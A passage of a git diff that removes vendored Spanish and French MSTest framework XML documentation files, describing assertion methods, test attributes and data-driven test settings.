Busca una cadena traducida similar a "La cadena "{0}" coincide con el patrón "{1}". {2}". - - - - - Busca una cadena traducida similar a "No se especificó ningún atributo DataRowAttribute. Se requiere al menos un elemento DataRowAttribute con DataTestMethodAttribute". - - - - - Busca una cadena traducida similar a "No se produjo ninguna excepción. Se esperaba la excepción {1}. {0}". - - - - - Busca una cadena traducida similar a "El parámetro "{0}" no es válido. El valor no puede ser NULL. {1}". - - - - - Busca una cadena traducida similar a "Número diferente de elementos". - - - - - Busca una cadena traducida similar a - "No se encontró el constructor con la signatura especificada. Es posible que tenga que regenerar el descriptor de acceso privado, - o que el miembro sea privado y esté definido en una clase base. Si se trata de esto último, debe pasar el tipo - que define el miembro al constructor de PrivateObject". - - - - - Busca una cadena traducida similar a - "No se encontró el miembro especificado ({0}). Es posible que tenga que regenerar el descriptor de acceso privado, - o que el miembro sea privado y esté definido en una clase base. Si se trata de esto último, debe pasar el tipo - que define el miembro al constructor de PrivateObject". - - - - - Busca una cadena traducida similar a "La cadena "{0}" no empieza con la cadena "{1}". {2}". - - - - - Busca una cadena traducida similar a "El tipo de excepción esperado debe ser System.Exception o un tipo derivado de System.Exception". - - - - - Busca una cadena traducida similar a "No se pudo obtener el mensaje para una excepción del tipo {0} debido a una excepción". - - - - - Busca una cadena traducida similar a "El método de prueba no inició la excepción esperada {0}. {1}". - - - - - Busca una cadena traducida similar a "El método de prueba no inició una excepción. El atributo {0} definido en el método de prueba esperaba una excepción". - - - - - Busca una cadena traducida similar a "El método de prueba inició la excepción {0}, pero se esperaba la excepción {1}. Mensaje de la excepción: {2}". - - - - - Busca una cadena traducida similar a "El método de prueba inició la excepción {0}, pero se esperaba la excepción {1} o un tipo derivado de ella. Mensaje de la excepción: {2}". - - - - - Busca una cadena traducida similar a "Se produjo la excepción {2}, pero se esperaba la excepción {1}. {0} - Mensaje de excepción: {3} - Seguimiento de la pila: {4}". - - - - - Resultados de la prueba unitaria. - - - - - La prueba se ejecutó, pero hubo problemas. - Entre estos, puede haber excepciones o aserciones con errores. - - - - - La prueba se completó, pero no podemos determinar si el resultado fue correcto o no. - Se puede usar para pruebas anuladas. - - - - - La prueba se ejecutó sin problemas. - - - - - La prueba se está ejecutando. - - - - - Error del sistema al intentar ejecutar una prueba. - - - - - Se agotó el tiempo de espera de la prueba. - - - - - El usuario anuló la prueba. - - - - - La prueba tiene un estado desconocido - - - - - Proporciona funcionalidad auxiliar para el marco de pruebas unitarias. - - - - - Obtiene los mensajes de excepción, incluidos los mensajes de todas las excepciones internas, - de forma recursiva. - - Excepción para la que se obtienen los mensajes - la cadena con información del mensaje de error - - - - Enumeración para cuando se agota el tiempo de espera que se puede usar con el atributo . - El tipo de la enumeración debe coincidir. - - - - - Infinito. - - - - - Atributo de la clase de prueba. - - - - - Obtiene un atributo de método de prueba que habilita la ejecución de esta prueba. - - La instancia de atributo de método de prueba definida en este método. - Tipo que se utilizará para ejecutar esta prueba. - Extensions can override this method to customize how all methods in a class are run. - - - - Atributo del método de prueba. - - - - - Ejecuta un método de prueba. - - El método de prueba para ejecutar. - Una matriz de objetos de TestResult que representan los resultados de la prueba. - Extensions can override this method to customize running a TestMethod. - - - - Atributo para inicializar la prueba. - - - - - Atributo de limpieza de la prueba. - - - - - Atributo de omisión. - - - - - Atributo de propiedad de la prueba. - - - - - Inicializa una nueva instancia de la clase . - - - El nombre. - - - El valor. - - - - - Obtiene el nombre. - - - - - Obtiene el valor. - - - - - Atributo de inicialización de la clase. - - - - - Atributo de limpieza de la clase. - - - - - Atributo de inicialización del ensamblado. - - - - - Atributo de limpieza del ensamblado. - - - - - Propietario de la prueba. - - - - - Inicializa una nueva instancia de la clase . - - - El propietario. - - - - - Obtiene el propietario. - - - - - Atributo de prioridad. Se usa para especificar la prioridad de una prueba unitaria. - - - - - Inicializa una nueva instancia de la clase . - - - La prioridad. - - - - - Obtiene la prioridad. - - - - - Descripción de la prueba. - - - - - Inicializa una nueva instancia de la clase para describir una prueba. - - La descripción. - - - - Obtiene la descripción de una prueba. - - - - - URI de estructura de proyectos de CSS. - - - - - Inicializa una nueva instancia de la clase para el URI de estructura de proyecto de CSS. - - URI de estructura de proyectos de CSS. - - - - Obtiene el URI de estructura de proyectos de CSS. - - - - - URI de iteración de CSS. - - - - - Inicializa una nueva instancia de la clase para el URI de iteración de CSS. - - URI de iteración de CSS. - - - - Obtiene el URI de iteración de CSS. - - - - - Atributo WorkItem. Se usa para especificar un elemento de trabajo asociado a esta prueba. - - - - - Inicializa una nueva instancia de la clase para el atributo WorkItem. - - Identificador de un elemento de trabajo. - - - - Obtiene el identificador de un elemento de trabajo asociado. - - - - - Atributo de tiempo de espera. Se usa para especificar el tiempo de espera de una prueba unitaria. - - - - - Inicializa una nueva instancia de la clase . - - - Tiempo de espera. - - - - - Inicializa una nueva instancia de la clase con un tiempo de espera preestablecido. - - - Tiempo de espera - - - - - Obtiene el tiempo de espera. - - - - - Objeto TestResult que debe devolverse al adaptador. - - - - - Inicializa una nueva instancia de la clase . - - - - - Obtiene o establece el nombre para mostrar del resultado. Es útil cuando se devuelven varios resultados. - Si es NULL, se utiliza el nombre del método como nombre para mostrar. - - - - - Obtiene o establece el resultado de la ejecución de pruebas. - - - - - Obtiene o establece la excepción que se inicia cuando la prueba da error. - - - - - Obtiene o establece la salida del mensaje registrado por el código de la prueba. - - - - - Obtiene o establece la salida del mensaje registrado por el código de la prueba. - - - - - Obtiene o establece el seguimiento de depuración que realiza el código de la prueba. - - - - - Gets or sets the debug traces by test code. - - - - - Obtiene o establece la duración de la ejecución de la prueba. - - - - - Obtiene o establece el índice de la fila de datos en el origen de datos. Se establece solo para resultados - de ejecuciones individuales de filas de datos de una prueba controlada por datos. - - - - - Obtiene o establece el valor devuelto del método de prueba. Actualmente es siempre NULL. - - - - - Obtiene o establece los archivos de resultados que adjunta la prueba. - - - - - Especifica la cadena de conexión, el nombre de tabla y el método de acceso a fila para las pruebas controladas por datos. - - - [DataSource("Provider=SQLOLEDB.1;Data Source=source;Integrated Security=SSPI;Initial Catalog=EqtCoverage;Persist Security Info=False", "MyTable")] - [DataSource("dataSourceNameFromConfigFile")] - - - - - Nombre de proveedor predeterminado del origen de datos. - - - - - Método de acceso a datos predeterminado. - - - - - Inicializa una nueva instancia de la clase . Esta instancia se inicializará con un proveedor de datos, una cadena de conexión, una tabla de datos y un método de acceso a datos para acceder al origen de datos. - - Nombre invariable del proveedor de datos, como System.Data.SqlClient - - Cadena de conexión específica del proveedor de datos. - ADVERTENCIA: La cadena de conexión puede contener información confidencial (por ejemplo, una contraseña). - La cadena de conexión se almacena en texto sin formato en el código fuente y en el ensamblado compilado. - Restrinja el acceso al código fuente y al ensamblado para proteger esta información confidencial. - - Nombre de la tabla de datos. - Especifica el orden de acceso a los datos. - - - - Inicializa una nueva instancia de la clase . Esta instancia se inicializará con una cadena de conexión y un nombre de tabla. - Especifique la cadena de conexión y la tabla de datos para acceder al origen de datos OLEDB. - - - Cadena de conexión específica del proveedor de datos. - ADVERTENCIA: La cadena de conexión puede contener información confidencial (por ejemplo, una contraseña). - La cadena de conexión se almacena en texto sin formato en el código fuente y en el ensamblado compilado. - Restrinja el acceso al código fuente y al ensamblado para proteger esta información confidencial. - - Nombre de la tabla de datos. - - - - Inicializa una nueva instancia de la clase . Esta instancia se inicializará con un proveedor de datos y una cadena de conexión asociada al nombre del valor de configuración. - - El nombre de un origen de datos que se encuentra en la sección <microsoft.visualstudio.qualitytools> del archivo app.config. - - - - Obtiene un valor que representa el proveedor de datos del origen de datos. - - - Nombre del proveedor de datos. Si no se designó un proveedor de datos al inicializar el objeto, se devolverá el proveedor predeterminado de System.Data.OleDb. - - - - - Obtiene un valor que representa la cadena de conexión para el origen de datos. - - - - - Obtiene un valor que indica el nombre de la tabla que proporciona los datos. - - - - - Obtiene el método usado para tener acceso al origen de datos. - - - - Uno de los . Si no se ha inicializado, devolverá el valor predeterminado . - - - - - Obtiene el nombre del origen de datos que se encuentra en la sección <microsoft.visualstudio.qualitytools> del archivo app.config. - - - - - Atributo para una prueba controlada por datos donde los datos pueden especificarse insertados. - - - - - Busca todas las filas de datos y las ejecuta. - - - El método de prueba. - - - Una matriz de . - - - - - Ejecuta el método de prueba controlada por datos. - - Método de prueba para ejecutar. - Fila de datos. - Resultados de la ejecución. - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/fr/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/fr/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml deleted file mode 100644 index 356cec50..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/fr/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml +++ /dev/null @@ -1,113 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions - - - - - Permet de spécifier l'élément de déploiement (fichier ou répertoire) pour un déploiement par test. - Peut être spécifié sur une classe de test ou une méthode de test. - Peut avoir plusieurs instances de l'attribut pour spécifier plusieurs éléments. - Le chemin de l'élément peut être absolu ou relatif. S'il est relatif, il l'est par rapport à RunConfig.RelativePathRoot. - - - [DeploymentItem("file1.xml")] - [DeploymentItem("file2.xml", "DataFiles")] - [DeploymentItem("bin\Debug")] - - - Putting this in here so that UWP discovery works. We still do not want users to be using DeploymentItem in the UWP world - Hence making it internal. - We should separate out DeploymentItem logic in the adapter via a Framework extensiblity point. - Filed https://github.com/Microsoft/testfx/issues/100 to track this. - - - - - Initialise une nouvelle instance de la classe . - - Fichier ou répertoire à déployer. Le chemin est relatif au répertoire de sortie de build. L'élément est copié dans le même répertoire que les assemblys de tests déployés. - - - - Initialise une nouvelle instance de la classe - - Chemin relatif ou absolu du fichier ou du répertoire à déployer. Le chemin est relatif au répertoire de sortie de build. L'élément est copié dans le même répertoire que les assemblys de tests déployés. - Chemin du répertoire dans lequel les éléments doivent être copiés. Il peut être absolu ou relatif au répertoire de déploiement. Tous les fichiers et répertoires identifiés par vont être copiés dans ce répertoire. - - - - Obtient le chemin du fichier ou dossier source à copier. - - - - - Obtient le chemin du répertoire dans lequel l'élément est copié. - - - - - Exécutez le code de test dans le thread d'IU (interface utilisateur) pour les applications du Windows Store. - - - - - Exécute la méthode de test sur le thread d'IU (interface utilisateur). - - - Méthode de test. - - - Tableau de instances. - - Throws when run on an async test method. - - - - - Classe TestContext. Cette classe doit être complètement abstraite, et ne doit contenir aucun - membre. L'adaptateur va implémenter les membres. Les utilisateurs du framework ne doivent - y accéder que via une interface bien définie. - - - - - Obtient les propriétés de test d'un test. - - - - - Obtient le nom complet de la classe contenant la méthode de test en cours d'exécution - - - This property can be useful in attributes derived from ExpectedExceptionBaseAttribute. - Those attributes have access to the test context, and provide messages that are included - in the test results. Users can benefit from messages that include the fully-qualified - class name in addition to the name of the test method currently being executed. - - - - - Obtient le nom de la méthode de test en cours d'exécution - - - - - Obtient le résultat de test actuel. - - - - - Used to write trace messages while the test is running - - formatted message string - - - - Used to write trace messages while the test is running - - format string - the arguments - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/fr/Microsoft.VisualStudio.TestPlatform.TestFramework.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/fr/Microsoft.VisualStudio.TestPlatform.TestFramework.xml deleted file mode 100644 index 2d63dc05..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/fr/Microsoft.VisualStudio.TestPlatform.TestFramework.xml +++ /dev/null @@ -1,4201 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework - - - - - TestMethod pour exécution. - - - - - Obtient le nom de la méthode de test. - - - - - Obtient le nom de la classe de test. - - - - - Obtient le type de retour de la méthode de test. - - - - - Obtient les paramètres de la méthode de test. - - - - - Obtient le methodInfo de la méthode de test. - - - This is just to retrieve additional information about the method. - Do not directly invoke the method using MethodInfo. Use ITestMethod.Invoke instead. - - - - - Appelle la méthode de test. - - - Arguments à passer à la méthode de test. (Exemple : pour un test piloté par les données) - - - Résultat de l'appel de la méthode de test. - - - This call handles asynchronous test methods as well. - - - - - Obtient tous les attributs de la méthode de test. - - - Indique si l'attribut défini dans la classe parente est valide. - - - Tous les attributs. - - - - - Obtient l'attribut du type spécifique. - - System.Attribute type. - - Indique si l'attribut défini dans la classe parente est valide. - - - Attributs du type spécifié. - - - - - Assistance. - - - - - Paramètre de vérification non null. - - - Paramètre. - - - Nom du paramètre. - - - Message. - - Throws argument null exception when parameter is null. - - - - Paramètre de vérification non null ou vide. - - - Paramètre. - - - Nom du paramètre. - - - Message. - - Throws ArgumentException when parameter is null. - - - - Énumération liée à la façon dont nous accédons aux lignes de données dans les tests pilotés par les données. - - - - - Les lignes sont retournées dans un ordre séquentiel. - - - - - Les lignes sont retournées dans un ordre aléatoire. - - - - - Attribut permettant de définir les données inline d'une méthode de test. - - - - - Initialise une nouvelle instance de la classe . - - Objet de données. - - - - Initialise une nouvelle instance de la classe qui accepte un tableau d'arguments. - - Objet de données. - Plus de données. - - - - Obtient les données permettant d'appeler la méthode de test. - - - - - Obtient ou définit le nom d'affichage dans les résultats des tests à des fins de personnalisation. - - - - - Exception d'assertion non concluante. - - - - - Initialise une nouvelle instance de la classe . - - Message. - Exception. - - - - Initialise une nouvelle instance de la classe . - - Message. - - - - Initialise une nouvelle instance de la classe . - - - - - Classe InternalTestFailureException. Sert à indiquer l'échec interne d'un cas de test - - - This class is only added to preserve source compatibility with the V1 framework. - For all practical purposes either use AssertFailedException/AssertInconclusiveException. - - - - - Initialise une nouvelle instance de la classe . - - Message d'exception. - Exception. - - - - Initialise une nouvelle instance de la classe . - - Message d'exception. - - - - Initialise une nouvelle instance de la classe . - - - - - Attribut indiquant d'attendre une exception du type spécifié - - - - - Initialise une nouvelle instance de la classe avec le type attendu - - Type de l'exception attendue - - - - Initialise une nouvelle instance de la classe avec - le type attendu et le message à inclure quand aucune exception n'est levée par le test. - - Type de l'exception attendue - - Message à inclure dans le résultat de test en cas d'échec du test lié à la non-levée d'une exception - - - - - Obtient une valeur indiquant le type de l'exception attendue - - - - - Obtient ou définit une valeur indiquant si les types dérivés du type de l'exception attendue peuvent - être éligibles comme prévu - - - - - Obtient le message à inclure dans le résultat de test en cas d'échec du test lié à la non-levée d'une exception - - - - - Vérifie que le type de l'exception levée par le test unitaire est bien attendu - - Exception levée par le test unitaire - - - - Classe de base des attributs qui spécifient d'attendre une exception d'un test unitaire - - - - - Initialise une nouvelle instance de la classe avec un message d'absence d'exception par défaut - - - - - Initialise une nouvelle instance de la classe avec un message d'absence d'exception - - - Message à inclure dans le résultat de test en cas d'échec du test lié à la non-levée d'une - exception - - - - - Obtient le message à inclure dans le résultat de test en cas d'échec du test lié à la non-levée d'une exception - - - - - Obtient le message à inclure dans le résultat de test en cas d'échec du test lié à la non-levée d'une exception - - - - - Obtient le message d'absence d'exception par défaut - - Nom du type de l'attribut ExpectedException - Message d'absence d'exception par défaut - - - - Détermine si l'exception est attendue. Si la méthode est retournée, cela - signifie que l'exception est attendue. Si la méthode lève une exception, cela - signifie que l'exception n'est pas attendue, et que le message de l'exception levée - est inclus dans le résultat de test. La classe peut être utilisée par - commodité. Si est utilisé et si l'assertion est un échec, - le résultat de test a la valeur Non concluant. - - Exception levée par le test unitaire - - - - Lève à nouveau l'exception, s'il s'agit de AssertFailedException ou de AssertInconclusiveException - - Exception à lever de nouveau, s'il s'agit d'une exception d'assertion - - - - Cette classe permet à l'utilisateur d'effectuer des tests unitaires pour les types basés sur des types génériques. - GenericParameterHelper répond à certaines contraintes usuelles des types génériques, - exemple : - 1. constructeur par défaut public - 2. implémentation d'une interface commune : IComparable, IEnumerable - - - - - Initialise une nouvelle instance de la classe qui - répond à la contrainte 'newable' dans les génériques C#. - - - This constructor initializes the Data property to a random value. - - - - - Initialise une nouvelle instance de la classe qui - initialise la propriété Data en lui assignant une valeur fournie par l'utilisateur. - - Valeur entière - - - - Obtient ou définit les données - - - - - Compare la valeur de deux objets GenericParameterHelper - - objet à comparer - true si obj a la même valeur que l'objet GenericParameterHelper de 'this'. - sinon false. - - - - Retourne un code de hachage pour cet objet. - - Code de hachage. - - - - Compare les données des deux objets . - - Objet à comparer. - - Nombre signé indiquant les valeurs relatives de cette instance et de cette valeur. - - - Thrown when the object passed in is not an instance of . - - - - - Retourne un objet IEnumerator dont la longueur est dérivée de - la propriété Data. - - Objet IEnumerator - - - - Retourne un objet GenericParameterHelper égal à - l'objet actuel. - - Objet cloné. - - - - Permet aux utilisateurs de journaliser/d'écrire des traces de tests unitaires à des fins de diagnostic. - - - - - Gestionnaire de LogMessage. - - Message à journaliser. - - - - Événement à écouter. Déclenché quand le writer de test unitaire écrit un message. - Sert principalement à être consommé par un adaptateur. - - - - - API à appeler par le writer de test pour journaliser les messages. - - Format de chaîne avec des espaces réservés. - Paramètres des espaces réservés. - - - - Attribut TestCategory utilisé pour spécifier la catégorie d'un test unitaire. - - - - - Initialise une nouvelle instance de la classe et applique la catégorie au test. - - - Catégorie de test. - - - - - Obtient les catégories de test appliquées au test. - - - - - Classe de base de l'attribut "Category" - - - The reason for this attribute is to let the users create their own implementation of test categories. - - test framework (discovery, etc) deals with TestCategoryBaseAttribute. - - The reason that TestCategories property is a collection rather than a string, - is to give more flexibility to the user. For instance the implementation may be based on enums for which the values can be OR'ed - in which case it makes sense to have single attribute rather than multiple ones on the same test. - - - - - Initialise une nouvelle instance de la classe . - Applique la catégorie au test. Les chaînes retournées par TestCategories - sont utilisées avec la commande /category pour filtrer les tests - - - - - Obtient la catégorie de test appliquée au test. - - - - - Classe AssertFailedException. Sert à indiquer l'échec d'un cas de test - - - - - Initialise une nouvelle instance de la classe . - - Message. - Exception. - - - - Initialise une nouvelle instance de la classe . - - Message. - - - - Initialise une nouvelle instance de la classe . - - - - - Collection de classes d'assistance permettant de tester diverses conditions dans - des tests unitaires. Si la condition testée n'est pas remplie, une exception - est levée. - - - - - Obtient l'instance singleton de la fonctionnalité Assert. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void IsOfType<T>(this Assert assert, object obj)" - Users could then use a syntax similar to the default assertions which in this case is "Assert.That.IsOfType<Dog>(animal);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Teste si la condition spécifiée a la valeur true, et lève une exception - si la condition a la valeur false. - - - Condition censée être vraie (true) pour le test. - - - Thrown if is false. - - - - - Teste si la condition spécifiée a la valeur true, et lève une exception - si la condition a la valeur false. - - - Condition censée être vraie (true) pour le test. - - - Message à inclure dans l'exception quand - est false. Le message s'affiche dans les résultats des tests. - - - Thrown if is false. - - - - - Teste si la condition spécifiée a la valeur true, et lève une exception - si la condition a la valeur false. - - - Condition censée être vraie (true) pour le test. - - - Message à inclure dans l'exception quand - est false. Le message s'affiche dans les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is false. - - - - - Teste si la condition spécifiée a la valeur false, et lève une exception - si la condition a la valeur true. - - - Condition censée être fausse (false) pour le test. - - - Thrown if is true. - - - - - Teste si la condition spécifiée a la valeur false, et lève une exception - si la condition a la valeur true. - - - Condition censée être fausse (false) pour le test. - - - Message à inclure dans l'exception quand - est true. Le message s'affiche dans les résultats des tests. - - - Thrown if is true. - - - - - Teste si la condition spécifiée a la valeur false, et lève une exception - si la condition a la valeur true. - - - Condition censée être fausse (false) pour le test. - - - Message à inclure dans l'exception quand - est true. Le message s'affiche dans les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is true. - - - - - Teste si l'objet spécifié a une valeur null, et lève une exception - si ce n'est pas le cas. - - - Objet censé avoir une valeur null pour le test. - - - Thrown if is not null. - - - - - Teste si l'objet spécifié a une valeur null, et lève une exception - si ce n'est pas le cas. - - - Objet censé avoir une valeur null pour le test. - - - Message à inclure dans l'exception quand - n'a pas une valeur null. Le message s'affiche dans les résultats des tests. - - - Thrown if is not null. - - - - - Teste si l'objet spécifié a une valeur null, et lève une exception - si ce n'est pas le cas. - - - Objet censé avoir une valeur null pour le test. - - - Message à inclure dans l'exception quand - n'a pas une valeur null. Le message s'affiche dans les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is not null. - - - - - Teste si l'objet spécifié a une valeur non null, et lève une exception - s'il a une valeur null. - - - Objet censé ne pas avoir une valeur null pour le test. - - - Thrown if is null. - - - - - Teste si l'objet spécifié a une valeur non null, et lève une exception - s'il a une valeur null. - - - Objet censé ne pas avoir une valeur null pour le test. - - - Message à inclure dans l'exception quand - a une valeur null. Le message s'affiche dans les résultats des tests. - - - Thrown if is null. - - - - - Teste si l'objet spécifié a une valeur non null, et lève une exception - s'il a une valeur null. - - - Objet censé ne pas avoir une valeur null pour le test. - - - Message à inclure dans l'exception quand - a une valeur null. Le message s'affiche dans les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is null. - - - - - Teste si les objets spécifiés font référence au même objet, et - lève une exception si les deux entrées ne font pas référence au même objet. - - - Premier objet à comparer. Valeur attendue par le test. - - - Second objet à comparer. Il s'agit de la valeur produite par le code testé. - - - Thrown if does not refer to the same object - as . - - - - - Teste si les objets spécifiés font référence au même objet, et - lève une exception si les deux entrées ne font pas référence au même objet. - - - Premier objet à comparer. Valeur attendue par le test. - - - Second objet à comparer. Il s'agit de la valeur produite par le code testé. - - - Message à inclure dans l'exception quand - n'est pas identique à . Le message s'affiche - dans les résultats des tests. - - - Thrown if does not refer to the same object - as . - - - - - Teste si les objets spécifiés font référence au même objet, et - lève une exception si les deux entrées ne font pas référence au même objet. - - - Premier objet à comparer. Valeur attendue par le test. - - - Second objet à comparer. Il s'agit de la valeur produite par le code testé. - - - Message à inclure dans l'exception quand - n'est pas identique à . Le message s'affiche - dans les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if does not refer to the same object - as . - - - - - Teste si les objets spécifiés font référence à des objets distincts, et - lève une exception si les deux entrées font référence au même objet. - - - Premier objet à comparer. Il s'agit de la valeur à laquelle le test est censé ne pas - correspondre . - - - Second objet à comparer. Il s'agit de la valeur produite par le code testé. - - - Thrown if refers to the same object - as . - - - - - Teste si les objets spécifiés font référence à des objets distincts, et - lève une exception si les deux entrées font référence au même objet. - - - Premier objet à comparer. Il s'agit de la valeur à laquelle le test est censé ne pas - correspondre . - - - Second objet à comparer. Il s'agit de la valeur produite par le code testé. - - - Message à inclure dans l'exception quand - est identique à . Le message s'affiche dans - les résultats des tests. - - - Thrown if refers to the same object - as . - - - - - Teste si les objets spécifiés font référence à des objets distincts, et - lève une exception si les deux entrées font référence au même objet. - - - Premier objet à comparer. Il s'agit de la valeur à laquelle le test est censé ne pas - correspondre . - - - Second objet à comparer. Il s'agit de la valeur produite par le code testé. - - - Message à inclure dans l'exception quand - est identique à . Le message s'affiche dans - les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if refers to the same object - as . - - - - - Teste si les valeurs spécifiées sont identiques, et lève une exception - si les deux valeurs sont différentes. Les types numériques distincts sont considérés comme - différents même si les valeurs logiques sont identiques. 42L n'est pas égal à 42. - - - The type of values to compare. - - - Première valeur à comparer. Valeur attendue par le test. - - - Seconde valeur à comparer. Il s'agit de la valeur produite par le code testé. - - - Thrown if is not equal to . - - - - - Teste si les valeurs spécifiées sont identiques, et lève une exception - si les deux valeurs sont différentes. Les types numériques distincts sont considérés comme - différents même si les valeurs logiques sont identiques. 42L n'est pas égal à 42. - - - The type of values to compare. - - - Première valeur à comparer. Valeur attendue par le test. - - - Seconde valeur à comparer. Il s'agit de la valeur produite par le code testé. - - - Message à inclure dans l'exception quand - n'est pas égal à . Le message s'affiche dans - les résultats des tests. - - - Thrown if is not equal to - . - - - - - Teste si les valeurs spécifiées sont identiques, et lève une exception - si les deux valeurs sont différentes. Les types numériques distincts sont considérés comme - différents même si les valeurs logiques sont identiques. 42L n'est pas égal à 42. - - - The type of values to compare. - - - Première valeur à comparer. Valeur attendue par le test. - - - Seconde valeur à comparer. Il s'agit de la valeur produite par le code testé. - - - Message à inclure dans l'exception quand - n'est pas égal à . Le message s'affiche dans - les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is not equal to - . - - - - - Teste si les valeurs spécifiées sont différentes, et lève une exception - si les deux valeurs sont identiques. Les types numériques distincts sont considérés comme - différents même si les valeurs logiques sont identiques. 42L n'est pas égal à 42. - - - The type of values to compare. - - - Première valeur à comparer. Il s'agit de la valeur à laquelle le test est censé ne pas - correspondre . - - - Seconde valeur à comparer. Il s'agit de la valeur produite par le code testé. - - - Thrown if is equal to . - - - - - Teste si les valeurs spécifiées sont différentes, et lève une exception - si les deux valeurs sont identiques. Les types numériques distincts sont considérés comme - différents même si les valeurs logiques sont identiques. 42L n'est pas égal à 42. - - - The type of values to compare. - - - Première valeur à comparer. Il s'agit de la valeur à laquelle le test est censé ne pas - correspondre . - - - Seconde valeur à comparer. Il s'agit de la valeur produite par le code testé. - - - Message à inclure dans l'exception quand - est égal à . Le message s'affiche dans - les résultats des tests. - - - Thrown if is equal to . - - - - - Teste si les valeurs spécifiées sont différentes, et lève une exception - si les deux valeurs sont identiques. Les types numériques distincts sont considérés comme - différents même si les valeurs logiques sont identiques. 42L n'est pas égal à 42. - - - The type of values to compare. - - - Première valeur à comparer. Il s'agit de la valeur à laquelle le test est censé ne pas - correspondre . - - - Seconde valeur à comparer. Il s'agit de la valeur produite par le code testé. - - - Message à inclure dans l'exception quand - est égal à . Le message s'affiche dans - les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is equal to . - - - - - Teste si les objets spécifiés sont identiques, et lève une exception - si les deux objets ne sont pas identiques. Les types numériques distincts sont considérés comme - différents même si les valeurs logiques sont identiques. 42L n'est pas égal à 42. - - - Premier objet à comparer. Objet attendu par le test. - - - Second objet à comparer. Il s'agit de l'objet produit par le code testé. - - - Thrown if is not equal to - . - - - - - Teste si les objets spécifiés sont identiques, et lève une exception - si les deux objets ne sont pas identiques. Les types numériques distincts sont considérés comme - différents même si les valeurs logiques sont identiques. 42L n'est pas égal à 42. - - - Premier objet à comparer. Objet attendu par le test. - - - Second objet à comparer. Il s'agit de l'objet produit par le code testé. - - - Message à inclure dans l'exception quand - n'est pas égal à . Le message s'affiche dans - les résultats des tests. - - - Thrown if is not equal to - . - - - - - Teste si les objets spécifiés sont identiques, et lève une exception - si les deux objets ne sont pas identiques. Les types numériques distincts sont considérés comme - différents même si les valeurs logiques sont identiques. 42L n'est pas égal à 42. - - - Premier objet à comparer. Objet attendu par le test. - - - Second objet à comparer. Il s'agit de l'objet produit par le code testé. - - - Message à inclure dans l'exception quand - n'est pas égal à . Le message s'affiche dans - les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is not equal to - . - - - - - Teste si les objets spécifiés sont différents, et lève une exception - si les deux objets sont identiques. Les types numériques distincts sont considérés comme - différents même si les valeurs logiques sont identiques. 42L n'est pas égal à 42. - - - Premier objet à comparer. Il s'agit de la valeur à laquelle le test est censé ne pas - correspondre . - - - Second objet à comparer. Il s'agit de l'objet produit par le code testé. - - - Thrown if is equal to . - - - - - Teste si les objets spécifiés sont différents, et lève une exception - si les deux objets sont identiques. Les types numériques distincts sont considérés comme - différents même si les valeurs logiques sont identiques. 42L n'est pas égal à 42. - - - Premier objet à comparer. Il s'agit de la valeur à laquelle le test est censé ne pas - correspondre . - - - Second objet à comparer. Il s'agit de l'objet produit par le code testé. - - - Message à inclure dans l'exception quand - est égal à . Le message s'affiche dans - les résultats des tests. - - - Thrown if is equal to . - - - - - Teste si les objets spécifiés sont différents, et lève une exception - si les deux objets sont identiques. Les types numériques distincts sont considérés comme - différents même si les valeurs logiques sont identiques. 42L n'est pas égal à 42. - - - Premier objet à comparer. Il s'agit de la valeur à laquelle le test est censé ne pas - correspondre . - - - Second objet à comparer. Il s'agit de l'objet produit par le code testé. - - - Message à inclure dans l'exception quand - est égal à . Le message s'affiche dans - les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is equal to . - - - - - Teste si les valeurs float spécifiées sont identiques, et lève une exception - si elles sont différentes. - - - Première valeur float à comparer. Valeur float attendue par le test. - - - Seconde valeur float à comparer. Il s'agit de la valeur float produite par le code testé. - - - Précision nécessaire. Une exception est levée uniquement si - est différent de - de plus de . - - - Thrown if is not equal to - . - - - - - Teste si les valeurs float spécifiées sont identiques, et lève une exception - si elles sont différentes. - - - Première valeur float à comparer. Valeur float attendue par le test. - - - Seconde valeur float à comparer. Il s'agit de la valeur float produite par le code testé. - - - Précision nécessaire. Une exception est levée uniquement si - est différent de - de plus de . - - - Message à inclure dans l'exception quand - est différent de de plus de - . Le message s'affiche dans les résultats des tests. - - - Thrown if is not equal to - . - - - - - Teste si les valeurs float spécifiées sont identiques, et lève une exception - si elles sont différentes. - - - Première valeur float à comparer. Valeur float attendue par le test. - - - Seconde valeur float à comparer. Il s'agit de la valeur float produite par le code testé. - - - Précision nécessaire. Une exception est levée uniquement si - est différent de - de plus de . - - - Message à inclure dans l'exception quand - est différent de de plus de - . Le message s'affiche dans les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is not equal to - . - - - - - Teste si les valeurs float spécifiées sont différentes, et lève une exception - si elles sont identiques. - - - Première valeur float à comparer. Il 